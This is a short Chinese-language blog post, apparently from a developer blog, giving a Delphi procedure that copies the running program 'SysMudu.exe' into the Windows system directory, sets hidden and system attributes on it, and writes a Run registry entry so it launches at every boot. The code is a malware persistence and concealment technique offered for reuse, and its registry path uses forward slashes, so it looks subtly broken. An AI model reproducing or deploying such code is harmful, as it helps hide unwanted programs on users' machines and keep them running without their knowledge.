自我複製到系統目錄中,並寫註冊表,使程序開機自動運行

procedure TForm1.CopyNWriteRegestry;
var Path:array [0..255] of char;
    Hk:HKEY;
    SysStr,CurStr:string;
begin
//以下是自我複製,首先判斷該程序是否存在,再決定是否進行復制
    GetSystemDirectory(Path,255);
    SysStr:=StrPas(Path);
    CurStr:=GetCurrentDir;
    CopyFile(pchar(CurStr+'/SysMudu.exe'),pchar(SysStr+'/SysMudu.exe'),True);
    SetFileAttributes(pchar(SysStr+'/SysMudu.exe'),
    FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
//以下是寫註冊表,使開機自動運行
    RegOpenKey(HKEY_LOCAL_MACHINE,
    'Software/Microsoft/Windows/CurrentVersion/Run',Hk);
    RegSetValueEx(Hk,'SysMudu',0,REG_SZ,PChar(SysStr+'/sysMudu.exe'),50);
end;

發佈了1 篇原創文章 · 獲贊 1 · 訪問量 5萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章